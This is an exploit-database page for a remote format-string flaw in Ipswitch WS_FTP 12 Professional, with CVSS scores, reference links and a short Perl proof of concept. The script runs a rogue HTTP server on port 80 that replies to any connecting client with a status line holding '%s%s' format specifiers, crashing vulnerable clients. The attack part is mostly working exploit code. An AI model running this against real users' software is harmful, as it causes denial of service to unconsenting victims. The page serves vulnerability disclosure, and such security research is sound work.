Ipswitch WS_FTP 12 Professional Remote Format String

2010-04-22 / 2010-04-23
Credit: AKA
Risk: Low
Local: No
Remote: Yes
CWE: CWE-134


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/perl # nocoolnameforawsftppoc.pl # AKA # Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC # # Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009 # # ********************************************************************************************************* # I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a # year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was # found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem # is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making # exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to # find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays! # ********************************************************************************************************** # nocoolnameforawsftppoc.pl use IO::Socket; $port = 80; $payload = "HTTP/1.1 %s%s\r\n\r\n"; $serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n"; $cli = $serv->accept() or die "Error: accept()\n"; $cli->recv($buf, 512); $cli->send($payload); close($cli); close($serv);

References:

http://xforce.iss.net/xforce/xfdb/53098
http://www.securityfocus.com/bid/36297
http://www.packetstormsecurity.org/0909-exploits/nocoolnameforawsftppoc.pl.txt
http://www.milw0rm.com/exploits/9607
http://docs.ipswitch.com/WS_FTP%20122/ReleaseNotes/English/index.htm?k_id=ipswitch_com_ftp_documents_worldwide_ws_ftp122releasenotesenglish#link23


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top